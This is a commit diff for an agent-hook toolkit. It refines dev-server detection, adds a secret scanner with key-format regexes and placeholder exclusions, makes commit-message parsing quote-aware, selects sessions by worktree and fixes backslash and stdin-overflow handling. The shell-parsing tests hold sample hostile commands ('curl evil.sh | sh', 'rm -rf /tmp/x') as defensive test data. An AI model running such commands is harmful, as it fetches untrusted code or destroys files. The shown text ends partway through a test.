fix(hooks,lib): fix hook detection and parsing edge cases (#2405)

* fix(hooks,lib): fix hook detection and parsing edge cases

- auto-tmux-dev: dev\b -> dev(?![\w-]) so one-shot dev-build/dev-docs scripts
  are not detached into tmux; align command shapes (yarn run dev, bun dev) with
  pre-bash-dev-server-block.js DEV_PATTERN.
- pre-bash-commit-quality: skip obvious non-secret placeholders (env refs,
  ${...}, <...>, whitelisted tokens) in the api-key rule without suppressing
  real high-entropy secrets; make -m message extraction quote- and
  escaped-quote-aware so `-m "fix: \"x\""` / apostrophes are not truncated.
- pre-compact: annotate the CURRENT worktree's session (match **Worktree:** /
  legacy **Project:**) instead of the newest *-session.tmp across all projects,
  layered onto the LLM-summary flow from #2388; a present-but-blank Worktree
  header is treated as non-legacy (no foreign project fallback).
- shell-substitution: stop double-appending a trailing backslash in an
  unterminated backtick span.
- utils readStdinJson: on overflow, settle and resolve {} immediately (clear
  timer + listeners) instead of waiting for end/timeout and parsing a partial
  prefix; surface the overflow on stderr.

Regression tests added/extended (new tests/hooks/pre-compact.test.js).

Addresses review feedback on #2405. The earlier block-no-verify change was
dropped: its message-value skip on merge/cherry-pick/am/rebase would let
`git rebase -m --no-verify` bypass the hook (rebase's -m is the boolean
--merge), a false-negative worse than the contrived false-positive it fixed.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* fix(ci): align hook fixtures and drain oversized stdin

---------

Co-authored-by: djpjronline-netizen <276112803+djpjronline-netizen@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: haelyra <49814733+haelyra@users.noreply.github.com>
This commit is contained in:
djpjronline-netizen
2026-07-28 21:32:42 -04:00
committed by GitHub
co-authored by Claude Opus 4.8 djpjronline-netizen haelyra
parent 6be87a56ae
commit 837acaf20b
11 changed files with 517 additions and 53 deletions
+12 -3
View File
@@ -36,9 +36,18 @@ function run(rawInput) {
const input = typeof rawInput === 'string' ? JSON.parse(rawInput) : rawInput;
const cmd = input.tool_input?.command || '';
// Detect dev server commands: npm run dev, pnpm dev, yarn dev, bun run dev
// Use word boundary (\b) to avoid matching partial commands
const devServerRegex = /(npm run dev\b|pnpm( run)? dev\b|yarn dev\b|bun run dev\b)/;
// Detect dev server commands: npm run dev, pnpm (run) dev, yarn (run) dev,
// bun (run) dev. Trailing (?![\w-]) rather than \b: \b treats a hyphen as a
// word boundary, so `dev\b` matches the `dev` prefix of distinct scripts
// like `dev-build` / `dev-docs` and would wrongly detach those one-shot
// scripts into tmux. The lookahead still matches the dev server (`dev`,
// `dev:ssr`, ...) but not a `dev-<suffix>` script. The optional `run` on
// yarn/bun mirrors the command shapes in pre-bash-dev-server-block.js
// DEV_PATTERN so the two hooks agree on what counts as a dev server.
// Flexible whitespace (\s+) and leading \b make this byte-identical to
// pre-bash-dev-server-block.js DEV_PATTERN, so a tabbed/multi-space command
// the blocker catches is also detached here (they agree exactly).
const devServerRegex = /\b(npm\s+run\s+dev|pnpm(?:\s+run)?\s+dev|yarn(?:\s+run)?\s+dev|bun(?:\s+run)?\s+dev)(?![\w-])/;
if (devServerRegex.test(cmd)) {
// Get session name from current directory basename, sanitize for shell safety
+44 -8
View File
@@ -57,9 +57,32 @@ function shouldCheckFile(filePath) {
return checkableExtensions.some(ext => filePath.endsWith(ext));
}
/**
* Decide whether a captured api-key value is an OBVIOUS non-secret placeholder so
* the heuristic generic api-key rule does not emit a false positive. Deliberately
* narrow: only suppresses whole-value env references / interpolations / angle-bracket
* tokens and a short explicit whitelist of placeholder + env-var NAME tokens. It must
* NOT suppress arbitrary high-entropy data (uppercase-hex, base32, digit-only, mixed
* tokens), since the generic rule is the only net catching non-prefixed secrets and a
* false-negative there is the safety-critical failure this hook exists to prevent.
* @param {string} value
* @returns {boolean}
*/
function isPlaceholderSecret(value) {
const v = (value || '').trim();
if (v.length === 0) return true; // empty value
if (/^process\.env\.[A-Za-z0-9_]+$/.test(v)) return true; // entire value is a process.env.NAME reference
if (/^\$\{[^}]*\}$/.test(v)) return true; // entire value is a ${...} interpolation
if (/^<[^<>]*>$/.test(v)) return true; // entire value is a <PLACEHOLDER> token
// Short explicit whitelist of placeholder + env-var NAME tokens (whole-value match only).
// No general all-caps clause: real all-caps/hex/base32/digit secrets must still flag.
if (/^(REPLACE_ME|CHANGE_?ME|YOUR[_-]?API[_-]?KEY|YOUR[_-]?KEY[_-]?HERE|API[_-]?KEY|SECRET|TOKEN|KEY|TODO|TBD|FIXME|XXX+)$/i.test(v)) return true;
return false;
}
/**
* Find issues in file content
* @param {string} filePath
* @param {string} filePath
* @returns {object[]} Array of issues found
*/
function findFileIssues(filePath) {
@@ -112,11 +135,21 @@ function findFileIssues(filePath) {
{ pattern: /sk-[a-zA-Z0-9]{20,}/, name: 'OpenAI API key' },
{ pattern: /ghp_[a-zA-Z0-9]{36}/, name: 'GitHub PAT' },
{ pattern: /AKIA[A-Z0-9]{16}/, name: 'AWS Access Key' },
{ pattern: /api[_-]?key\s*[=:]\s*['"][^'"]+['"]/i, name: 'API key' }
// Capture the quoted value so obvious non-secret placeholders can be excluded
{ pattern: /api[_-]?key\s*[=:]\s*['"]([^'"]+)['"]/i, name: 'API key', valueGroup: 1 },
// Unquoted form (API_KEY=..., api_key: ... without quotes). Scoped to a
// single alnum/underscore/hyphen token of 12+ chars containing at least
// one digit — real secrets are near-always alphanumeric, whereas bare
// identifiers/expressions common in this hook's checkable languages
// (config.apiKey, getApiKey(), process.env.API_KEY) are pure-alpha or
// contain '.'/'(' that fall outside the character class, so they don't
// match. Kept deliberately narrow to avoid flagging ordinary code.
{ pattern: /api[_-]?key\s*[=:]\s*(?!['"])((?=[A-Za-z0-9_-]*\d)[A-Za-z0-9_-]{12,})/i, name: 'API key', valueGroup: 1 }
];
for (const { pattern, name } of secretPatterns) {
if (pattern.test(line)) {
for (const { pattern, name, valueGroup } of secretPatterns) {
const secretMatch = line.match(pattern);
if (secretMatch && !(valueGroup && isPlaceholderSecret(secretMatch[valueGroup]))) {
issues.push({
type: 'secret',
message: `Potential ${name} exposed at line ${lineNum}`,
@@ -139,11 +172,14 @@ function findFileIssues(filePath) {
* @returns {object|null} Validation result or null if no message to validate
*/
function validateCommitMessage(command) {
// Extract commit message from command
const messageMatch = command.match(/(?:-m|--message)[=\s]+["']?([^"']+)["']?/);
// Extract commit message from command (quote-aware: when quoted, capture to the
// matching closing quote, consuming escaped chars (\") so an embedded escaped
// quote does not truncate the subject, and allowing the OTHER quote char inside
// the body; when unquoted, capture the full remaining tail, not just the first token)
const messageMatch = command.match(/(?:-m|--message)[=\s]+(?:"((?:\\.|[^"\\])*)"|'((?:\\.|[^'\\])*)'|([^"']+?)\s*$)/);
if (!messageMatch) return null;
const message = messageMatch[1];
const message = messageMatch[1] ?? messageMatch[2] ?? messageMatch[3];
const issues = [];
// Check conventional commit format
@@ -445,4 +481,4 @@ if (require.main === module) {
});
}
module.exports = { run, evaluate };
module.exports = { run, evaluate, validateCommitMessage, findFileIssues, isPlaceholderSecret };
+91 -13
View File
@@ -14,7 +14,7 @@
const path = require('path');
const fs = require('fs');
const { getSessionsDir, getDateTimeString, getTimeString, findFiles, ensureDir, appendFile, readFile, writeFile, log } = require('../lib/utils');
const { getSessionsDir, getDateTimeString, getTimeString, findFiles, ensureDir, appendFile, readFile, writeFile, getProjectName, log } = require('../lib/utils');
const { generateSessionSummary } = require('../lib/llm-summary');
const SUMMARY_START_MARKER = '<!-- ECC:SUMMARY:START -->';
@@ -24,22 +24,91 @@ function escapeRegExp(value) {
return String(value).replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
/**
* Canonicalize a path (resolve symlinks); fall back to the input on failure.
* Mirrors session-start.js#normalizePath so worktree comparisons agree.
*/
function normalizePath(p) {
try {
return fs.realpathSync(p);
} catch {
return p;
}
}
/**
* Pick the session file that belongs to the CURRENT worktree.
*
* The sessions dir is shared across every project/worktree, so the newest
* `*-session.tmp` is frequently a DIFFERENT project's session. Matching by
* mtime (`sessions[0]`) therefore writes the compaction summary into the wrong
* project. Match on the `**Worktree:**` header (written by session-end.js)
* against cwd, mirroring session-start.js#selectMatchingSession:
* 1. exact worktree (cwd) match — newest wins
* 2. truly legacy sessions with NO Worktree header: same **Project:** name
* 3. otherwise null — do NOT annotate a foreign worktree's session
* A present-but-blank Worktree header counts as non-legacy (never a project
* fallback), so a foreign session is not matched by name.
*
* @param {Array<{path: string}>} sessions - newest-first session list
* @param {string} cwd
* @param {string} currentProject
* @param {(p: string) => (string|null)} [readFn]
* @returns {string|null} path of the chosen session, or null if none match
*/
function selectActiveSessionPath(sessions, cwd, currentProject, readFn = readFile) {
if (!sessions || sessions.length === 0) return null;
const normalizedCwd = normalizePath(cwd);
let projectMatch = null;
for (const session of sessions) {
const content = readFn(session.path);
if (!content) continue;
// (.*) not (.+): an explicit but empty header (`**Worktree:**` / `**Worktree:**\n`)
// must still register as present (hasWorktreeHeader) so it does not fall back
// to project-name matching against a foreign session.
const worktreeMatch = content.match(/\*\*Worktree:\*\*\s*(.*)$/m);
const hasWorktreeHeader = Boolean(worktreeMatch);
const sessionWorktree = worktreeMatch ? worktreeMatch[1].trim() : '';
if (sessionWorktree && normalizePath(sessionWorktree) === normalizedCwd) {
return session.path;
}
// Project-name fallback only for truly legacy sessions with NO Worktree
// header at all — a present-but-blank header is not treated as legacy.
if (!projectMatch && currentProject && !hasWorktreeHeader) {
const projectFieldMatch = content.match(/\*\*Project:\*\*\s*(.+)$/m);
const sessionProject = projectFieldMatch ? projectFieldMatch[1].trim() : '';
if (sessionProject && sessionProject === currentProject) {
projectMatch = session.path;
}
}
}
return projectMatch;
}
const MAX_STDIN = 1024 * 1024;
let stdinData = '';
process.stdin.setEncoding('utf8');
process.stdin.on('data', chunk => {
if (stdinData.length < MAX_STDIN) {
stdinData += chunk.substring(0, MAX_STDIN - stdinData.length);
}
});
if (require.main === module) {
process.stdin.setEncoding('utf8');
process.stdin.on('end', () => {
main().catch(err => {
log(`[PreCompact] Error: ${err.message}`);
process.exit(0);
process.stdin.on('data', chunk => {
if (stdinData.length < MAX_STDIN) {
stdinData += chunk.substring(0, MAX_STDIN - stdinData.length);
}
});
});
process.stdin.on('end', () => {
main().catch(err => {
log(`[PreCompact] Error: ${err.message}`);
process.exit(0);
});
});
}
async function main() {
let transcriptPath = null;
@@ -66,7 +135,14 @@ async function main() {
process.exit(0);
}
const activeSession = sessions[0].path;
// Select the session for THIS worktree, not merely the newest across all
// projects (the sessions dir is shared). Skip when none matches rather than
// writing the summary into a foreign project's session file.
const activeSession = selectActiveSessionPath(sessions, process.cwd(), getProjectName());
if (!activeSession) {
log('[PreCompact] No session matches the current worktree; skipping annotation');
process.exit(0);
}
const timeStr = getTimeString();
if (!transcriptPath || !fs.existsSync(transcriptPath)) {
@@ -98,3 +174,5 @@ async function main() {
process.exit(0);
}
module.exports = { selectActiveSessionPath, normalizePath };
+20 -4
View File
@@ -55,8 +55,12 @@ function extractCommandSubstitutions(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
} else {
// Trailing backslash at end of an unterminated span: advance past
// it so it is not appended a second time by the fallthrough below.
i += 1;
}
continue;
}
if (inner === '`') {
break;
@@ -85,8 +89,12 @@ function extractCommandSubstitutions(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
} else {
// Trailing backslash at end of an unterminated span: advance past
// it so it is not appended a second time by the fallthrough below.
i += 1;
}
continue;
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
@@ -213,8 +221,12 @@ function extractSubshellGroups(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
} else {
// Trailing backslash at end of an unterminated span: advance past
// it so it is not appended a second time by the fallthrough below.
i += 1;
}
continue;
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
@@ -374,8 +386,12 @@ function extractBraceGroups(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
} else {
// Trailing backslash at end of an unterminated span: advance past
// it so it is not appended a second time by the fallthrough below.
i += 1;
}
continue;
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
+33 -5
View File
@@ -284,6 +284,7 @@ async function readStdinJson(options = {}) {
return new Promise((resolve) => {
let data = '';
let settled = false;
let overflowed = false;
const timer = setTimeout(() => {
if (!settled) {
@@ -293,7 +294,12 @@ async function readStdinJson(options = {}) {
process.stdin.removeAllListeners('end');
process.stdin.removeAllListeners('error');
if (process.stdin.unref) process.stdin.unref();
// Resolve with whatever we have so far rather than hanging
// Oversized input is always rejected. Otherwise, resolve with whatever
// arrived before the timeout rather than hanging.
if (overflowed) {
resolve({});
return;
}
try {
resolve(data.trim() ? JSON.parse(data) : {});
} catch {
@@ -304,15 +310,34 @@ async function readStdinJson(options = {}) {
process.stdin.setEncoding('utf8');
process.stdin.on('data', chunk => {
if (data.length < maxSize) {
data += chunk;
if (settled) return;
if (overflowed) return;
// Mark oversized input as rejected and discard the buffered prefix.
// Continue consuming the stream without retaining later chunks so a
// finite parent can finish writing without EPIPE. Resolution happens at
// EOF or the existing timeout, which also bounds never-closing writers.
if (data.length + chunk.length > maxSize) {
overflowed = true;
data = '';
process.stderr.write(
`[readStdinJson] stdin exceeded ${maxSize} bytes; input truncated and treated as empty\n`
);
return;
}
data += chunk;
});
process.stdin.on('end', () => {
if (settled) return;
if (settled) {
clearTimeout(timer);
return;
}
settled = true;
clearTimeout(timer);
if (overflowed) {
resolve({});
return;
}
try {
resolve(data.trim() ? JSON.parse(data) : {});
} catch {
@@ -323,7 +348,10 @@ async function readStdinJson(options = {}) {
});
process.stdin.on('error', () => {
if (settled) return;
if (settled) {
clearTimeout(timer);
return;
}
settled = true;
clearTimeout(timer);
// Resolve with empty object so hooks don't crash on stdin errors
+8
View File
@@ -119,6 +119,14 @@ function runTests() {
assert.strictEqual(output.tool_input.command, 'npm run develop');
})) passed++; else failed++;
if (test('does not transform npm run dev-build (hyphenated script)', () => {
const input = { tool_input: { command: 'npm run dev-build' } };
const result = runScript(input);
assert.strictEqual(result.code, 0);
const output = JSON.parse(result.stdout);
assert.strictEqual(output.tool_input.command, 'npm run dev-build');
})) passed++; else failed++;
console.log('\nEdge cases:');
if (test('handles empty input gracefully', () => {
+15 -10
View File
@@ -1247,7 +1247,9 @@ async function runTests() {
// Create an active .tmp session file
const sessionFile = path.join(sessionsDir, '2026-02-11-test-session.tmp');
fs.writeFileSync(sessionFile, '# Session: 2026-02-11\n**Started:** 10:00\n');
fs.writeFileSync(sessionFile, buildSessionStartFixture('**Started:** 10:00', {
title: '# Session: 2026-02-11'
}));
try {
await runScript(path.join(scriptsDir, 'pre-compact.js'), '', {
@@ -3761,7 +3763,7 @@ async function runTests() {
// Create a session .tmp file and a non-session .tmp file
const sessionFile = path.join(sessionsDir, '2026-02-11-abc-session.tmp');
const otherTmpFile = path.join(sessionsDir, 'other-data.tmp');
fs.writeFileSync(sessionFile, '# Session\n');
fs.writeFileSync(sessionFile, buildSessionStartFixture('', { title: '# Session' }));
fs.writeFileSync(otherTmpFile, 'some other data\n');
try {
@@ -4676,11 +4678,11 @@ async function runTests() {
passed++;
else failed++;
// Round 41: pre-compact.js (multiple session files)
// Round 41: pre-compact.js (multiple sessions for the current worktree)
console.log('\nRound 41: pre-compact.js (multiple session files):');
if (
await asyncTest('annotates only the newest session file when multiple exist', async () => {
await asyncTest('annotates only the newest session when multiple match the current worktree', async () => {
const isoHome = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-compact-multi-'));
const sessionsDir = getCanonicalSessionsDir(isoHome);
fs.mkdirSync(sessionsDir, { recursive: true });
@@ -4688,11 +4690,12 @@ async function runTests() {
// Create two session files with different mtimes
const olderSession = path.join(sessionsDir, '2026-01-01-older-session.tmp');
const newerSession = path.join(sessionsDir, '2026-02-11-newer-session.tmp');
fs.writeFileSync(olderSession, '# Older Session\n');
const olderContent = buildSessionStartFixture('', { title: '# Older Session' });
fs.writeFileSync(olderSession, olderContent);
// Small delay to ensure different mtime
const now = Date.now();
fs.utimesSync(olderSession, new Date(now - 60000), new Date(now - 60000));
fs.writeFileSync(newerSession, '# Newer Session\n');
fs.writeFileSync(newerSession, buildSessionStartFixture('', { title: '# Newer Session' }));
try {
const result = await runScript(path.join(scriptsDir, 'pre-compact.js'), '', {
@@ -4702,11 +4705,11 @@ async function runTests() {
assert.strictEqual(result.code, 0);
const newerContent = fs.readFileSync(newerSession, 'utf8');
const olderContent = fs.readFileSync(olderSession, 'utf8');
const updatedOlderContent = fs.readFileSync(olderSession, 'utf8');
// findFiles sorts by mtime newest first, so sessions[0] is the newest
// findFiles sorts matches by mtime, so the newest matching worktree wins.
assert.ok(newerContent.includes('Compaction occurred'), 'Should annotate the newest session file');
assert.strictEqual(olderContent, '# Older Session\n', 'Should NOT annotate older session files');
assert.strictEqual(updatedOlderContent, olderContent, 'Should NOT annotate older session files');
} finally {
fs.rmSync(isoHome, { recursive: true, force: true });
}
@@ -6208,7 +6211,9 @@ Some random content without the expected ### Context to Load section
// Create a minimal session .tmp file
const sessionFile = path.join(sessionsDir, '2026-01-01-test-session.tmp');
fs.writeFileSync(sessionFile, '# Session: 2026-01-01\n');
fs.writeFileSync(sessionFile, buildSessionStartFixture('', {
title: '# Session: 2026-01-01'
}));
// Create a minimal transcript with one user message
const transcriptPath = path.join(testDir, 'transcript.jsonl');
@@ -235,6 +235,40 @@ if (test('blocks commits with staged secret patterns across checkable files', ()
});
})) passed++; else failed++;
if (test('blocks commits with an unquoted API key assignment', () => {
inTempRepo(repoDir => {
writeAndStage(repoDir, 'config.py', [
'API_KEY=sk_live_1234567890abcdef',
''
].join('\n'));
const input = JSON.stringify({ tool_input: { command: 'git commit -m "fix: unquoted key"' } });
const { result, stderr } = captureConsoleError(() => hook.evaluate(input));
assert.strictEqual(result.output, input);
assert.strictEqual(result.exitCode, 2);
assert.ok(stderr.includes('Potential API key'), `expected unquoted API key warning, got: ${stderr}`);
});
})) passed++; else failed++;
if (test('does not flag ordinary unquoted apiKey code references', () => {
inTempRepo(repoDir => {
writeAndStage(repoDir, 'index.js', [
'const apiKey = getApiKeyFromVault();',
'this.apiKey = options.apiKey;',
'const apiKey2 = process.env.API_KEY;',
''
].join('\n'));
const input = JSON.stringify({ tool_input: { command: 'git commit -m "fix: no secret here"' } });
const { result, stderr } = captureConsoleError(() => hook.evaluate(input));
assert.strictEqual(result.output, input);
assert.strictEqual(result.exitCode, 0, `expected exit 0 (no secrets), got ${result.exitCode}: ${stderr}`);
assert.ok(!stderr.includes('Potential API key'), `should not flag ordinary code as a secret, got: ${stderr}`);
});
})) passed++; else failed++;
if (test('reports eslint pylint and golint failures from staged files', () => {
inTempRepo(repoDir => {
writeAndStage(repoDir, 'index.js', 'const lint = true;\n');
@@ -291,5 +325,52 @@ if (test('stdin entry point truncates oversized input and preserves pass-through
assert.ok(result.stderr.includes('[Hook] Error:'), 'truncated JSON should be logged and allowed');
})) passed++; else failed++;
// --- Secret-scanner placeholder exclusion (false-positive fix, no false-negative) ---
if (test('isPlaceholderSecret suppresses obvious non-secret placeholders', () => {
for (const v of ['process.env.API_KEY', '${API_KEY}', '<YOUR_KEY>', 'REPLACE_ME', 'CHANGEME', 'YOUR_API_KEY', '']) {
assert.strictEqual(hook.isPlaceholderSecret(v), true, `should suppress placeholder: ${JSON.stringify(v)}`);
}
})) passed++; else failed++;
if (test('isPlaceholderSecret does NOT suppress real high-entropy secrets', () => {
for (const v of [
'sk-live-abcdef0123456789ABCDEF', // prefixed
'9F8A7B6C5D4E3F2A1B0C9D8E7F6A5B4C', // uppercase hex
'JBSWY3DPEHPK3PXP', // base32 TOTP/HMAC seed
'1234567890123456', // digit-only token
'PROD_7F3A9C2E_LIVE_8821', // uppercase-with-underscore token
'AbCd1234EfGh5678' // mixed token
]) {
assert.strictEqual(hook.isPlaceholderSecret(v), false, `must NOT suppress real secret: ${v}`);
}
})) passed++; else failed++;
// --- Quote-aware commit-message extraction (truncation fix) ---
if (test('captures full double-quoted -m message containing an apostrophe', () => {
const res = hook.validateCommitMessage(`git commit -m "fix: don't crash on empty input"`);
assert.ok(res, 'expected a validation result');
assert.strictEqual(res.message, "fix: don't crash on empty input");
})) passed++; else failed++;
if (test('captures full single-quoted -m message containing a double quote', () => {
const res = hook.validateCommitMessage(`git commit -m 'fix: handle the "edge" case'`);
assert.strictEqual(res.message, 'fix: handle the "edge" case');
})) passed++; else failed++;
if (test('captures full double-quoted -m message with escaped inner quotes (not truncated)', () => {
const res = hook.validateCommitMessage('git commit -m "fix: say \\"hello\\" to the user"');
assert.ok(res, 'expected a validation result');
assert.strictEqual(res.message, 'fix: say \\"hello\\" to the user');
})) passed++; else failed++;
if (test('measures length of the full message past an apostrophe (not the truncated prefix)', () => {
const subject = "fix: it's a deliberately long commit subject that comfortably exceeds seventy-two chars";
const res = hook.validateCommitMessage(`git commit -m "${subject}"`);
assert.strictEqual(res.message, subject);
assert.ok(res.issues.some(i => i.type === 'length'), 'full (>72) message should trigger a length issue');
})) passed++; else failed++;
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0);
+105
View File
@@ -0,0 +1,105 @@
'use strict';
/**
* Tests for scripts/hooks/pre-compact.js — worktree-aware active-session
* selection. The sessions dir is shared across projects/worktrees, so the
* hook must annotate the CURRENT worktree's session, not whichever file is
* newest by mtime. selectActiveSessionPath takes an injectable reader so the
* selection logic is tested without touching the filesystem.
*/
const assert = require('assert');
const { selectActiveSessionPath } = require('../../scripts/hooks/pre-compact');
let passed = 0;
let failed = 0;
function test(name, fn) {
try {
fn();
console.log(`${name}`);
return true;
} catch (err) {
console.log(`${name}`);
console.log(` ${err.message}`);
return false;
}
}
// Reader built from a path -> content map (returns null for unknown/unreadable).
function reader(map) {
return (p) => (Object.prototype.hasOwnProperty.call(map, p) ? map[p] : null);
}
const A = '/ecc-pre-compact-test/work/projA';
const B = '/ecc-pre-compact-test/work/projB';
if (test('selects the session matching the current worktree, not the newest', () => {
const sessions = [
{ path: '/sessions/newest-session.tmp' }, // newest, different worktree
{ path: '/sessions/older-session.tmp' }, // older, our worktree
];
const map = {
'/sessions/newest-session.tmp': `**Project:** projB\n**Worktree:** ${B}\n`,
'/sessions/older-session.tmp': `**Project:** projA\n**Worktree:** ${A}\n`,
};
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/older-session.tmp');
})) passed++; else failed++;
if (test('returns null when no session matches the current worktree (no foreign write)', () => {
const sessions = [{ path: '/sessions/b-session.tmp' }];
const map = { '/sessions/b-session.tmp': `**Project:** projB\n**Worktree:** ${B}\n` };
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
})) passed++; else failed++;
if (test('falls back to a legacy session (no Worktree header) with matching project name', () => {
const sessions = [{ path: '/sessions/legacy-session.tmp' }];
const map = { '/sessions/legacy-session.tmp': '**Project:** projA\n' };
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/legacy-session.tmp');
})) passed++; else failed++;
if (test('does not project-match a session that has an explicit non-matching Worktree', () => {
const sessions = [{ path: '/sessions/x-session.tmp' }];
const map = { '/sessions/x-session.tmp': `**Project:** projA\n**Worktree:** ${B}\n` };
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
})) passed++; else failed++;
if (test('does not project-match a session whose Worktree header is present but blank', () => {
// A blank/whitespace Worktree header is NOT a legacy session, so it must not
// fall back to project-name matching and attach to a foreign session.
const sessions = [{ path: '/sessions/blank-session.tmp' }];
const map = { '/sessions/blank-session.tmp': '**Project:** projA\n**Worktree:** \n' };
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
})) passed++; else failed++;
if (test('does not project-match a session whose Worktree header has no value and no space', () => {
// Same as above but the header is bare `**Worktree:**\n` (no trailing space) —
// (.+) would have missed this; (.*) registers it as a present-but-empty header.
const sessions = [{ path: '/sessions/blank-header.tmp' }];
const map = { '/sessions/blank-header.tmp': '**Project:** projA\n**Worktree:**\n' };
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
})) passed++; else failed++;
if (test('worktree match wins over a newer session AND over a legacy project match', () => {
const sessions = [
{ path: '/sessions/legacy-session.tmp' }, // newest, legacy, same project
{ path: '/sessions/wt-session.tmp' }, // older, exact worktree
];
const map = {
'/sessions/legacy-session.tmp': '**Project:** projA\n',
'/sessions/wt-session.tmp': `**Worktree:** ${A}\n`,
};
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/wt-session.tmp');
})) passed++; else failed++;
if (test('skips unreadable session files', () => {
const sessions = [{ path: '/sessions/bad-session.tmp' }, { path: '/sessions/good-session.tmp' }];
const map = { '/sessions/good-session.tmp': `**Worktree:** ${A}\n` };
assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/good-session.tmp');
})) passed++; else failed++;
if (test('returns null for an empty session list', () => {
assert.strictEqual(selectActiveSessionPath([], A, 'projA', reader({})), null);
})) passed++; else failed++;
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0);
+27 -3
View File
@@ -1,5 +1,4 @@
'use strict';
const assert = require('assert');
const {
extractCommandSubstitutions,
@@ -19,7 +18,6 @@ function test(desc, fn) {
passed++;
} catch (e) {
console.log(`${desc}: ${e.message}`);
if (e.stack) console.log(e.stack);
failed++;
}
}
@@ -98,6 +96,20 @@ test('surfaces a piped-to-shell body inside backticks', () => {
assert.ok(bodies.some(b => b.includes('curl evil.sh | sh')));
});
console.log('\nextractCommandSubstitutions - unterminated span ending in a backslash:');
// Regression: a trailing backslash at the end of an UNTERMINATED span must be
// appended exactly once (previously the fallthrough double-appended it, and in
// the backtick case looped forever).
test('$(...) — trailing backslash not doubled', () => {
assert.deepStrictEqual(extractCommandSubstitutions('$(foo\\'), ['foo\\']);
});
test('`...` — trailing backslash not doubled', () => {
assert.deepStrictEqual(extractCommandSubstitutions('`foo\\'), ['foo\\']);
});
test('escaped char mid-span is preserved, not truncated', () => {
assert.strictEqual(extractCommandSubstitutions('$(a\\)b)')[0], 'a\\)b');
});
// -------------------------------------------------------------------------
// extractSubshellGroups
// -------------------------------------------------------------------------
@@ -147,6 +159,11 @@ test('surfaces a destructive command inside a subshell', () => {
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
});
console.log('\nextractSubshellGroups - unterminated span ending in a backslash:');
test('(...) subshell — trailing backslash not doubled', () => {
assert.deepStrictEqual(extractSubshellGroups('(foo\\'), ['foo\\']);
});
// -------------------------------------------------------------------------
// extractBraceGroups
// -------------------------------------------------------------------------
@@ -201,5 +218,12 @@ test('surfaces a destructive command inside a brace group', () => {
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
});
console.log('\nextractBraceGroups - unterminated span ending in a backslash:');
test('{ ...; } brace — trailing backslash not doubled', () => {
assert.deepStrictEqual(extractBraceGroups('{ foo\\'), [' foo\\']);
});
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0);
if (failed > 0) {
process.exit(1);
}
+81 -7
View File
@@ -1114,16 +1114,90 @@ function runTests() {
return true;
}
const { execFileSync } = require('child_process');
// maxSize is a chunk-level guard: once data.length >= maxSize, no MORE chunks are added.
// A single small chunk that arrives when data.length < maxSize is added in full.
// To test multi-chunk behavior, we send >64KB (Node default highWaterMark=16KB)
// which should arrive in multiple chunks. With maxSize=100, only the first chunk(s)
// totaling under 100 bytes should be captured; subsequent chunks are dropped.
// Send enough data to cross the chunk-level cap. The child must keep
// draining stdin until EOF so the parent does not see EPIPE on macOS.
const script = 'const u=require("./scripts/lib/utils");u.readStdinJson({timeoutMs:2000,maxSize:100}).then(d=>{process.stdout.write(JSON.stringify(d))})';
// Generate 100KB of data (arrives in multiple chunks)
const bigInput = '{"k":"' + 'X'.repeat(100000) + '"}';
const result = execFileSync('node', ['-e', script], { ...stdinOpts, input: bigInput });
// Truncated mid-string → invalid JSON → resolves to {}
// Oversized input is rejected rather than parsing a partial JSON prefix.
assert.deepStrictEqual(JSON.parse(result), {});
})) passed++; else failed++;
if (test('readStdinJson overflow drain still exits when the writer never closes stdin', () => {
const { execFileSync } = require('child_process');
const childScript = [
'const u=require("./scripts/lib/utils");',
'u.readStdinJson({timeoutMs:100,maxSize:100})',
'.then(d=>process.stdout.write(JSON.stringify(d)));'
].join('');
const harness = `
const { spawn } = require('child_process');
const child = spawn(process.execPath, ['-e', ${JSON.stringify(childScript)}], {
cwd: process.cwd(),
stdio: ['pipe', 'pipe', 'inherit']
});
let stdout = '';
child.stdout.setEncoding('utf8');
child.stdout.on('data', chunk => { stdout += chunk; });
child.stdin.write('X'.repeat(100000));
const deadline = setTimeout(() => {
child.kill();
process.exit(2);
}, 1000);
child.on('exit', code => {
clearTimeout(deadline);
if (code !== 0) process.exit(code || 1);
process.stdout.write(stdout);
});
`;
const result = execFileSync('node', ['-e', harness], {
...stdinOpts,
timeout: 2000
});
assert.deepStrictEqual(JSON.parse(result), {});
})) passed++; else failed++;
if (test('readStdinJson drains a slow finite oversized writer without EPIPE', () => {
const { execFileSync } = require('child_process');
const childScript = [
'const u=require("./scripts/lib/utils");',
'u.readStdinJson({timeoutMs:500,maxSize:100})',
'.then(d=>process.stdout.write(JSON.stringify(d)));'
].join('');
const harness = `
const { spawn } = require('child_process');
const child = spawn(process.execPath, ['-e', ${JSON.stringify(childScript)}], {
cwd: process.cwd(),
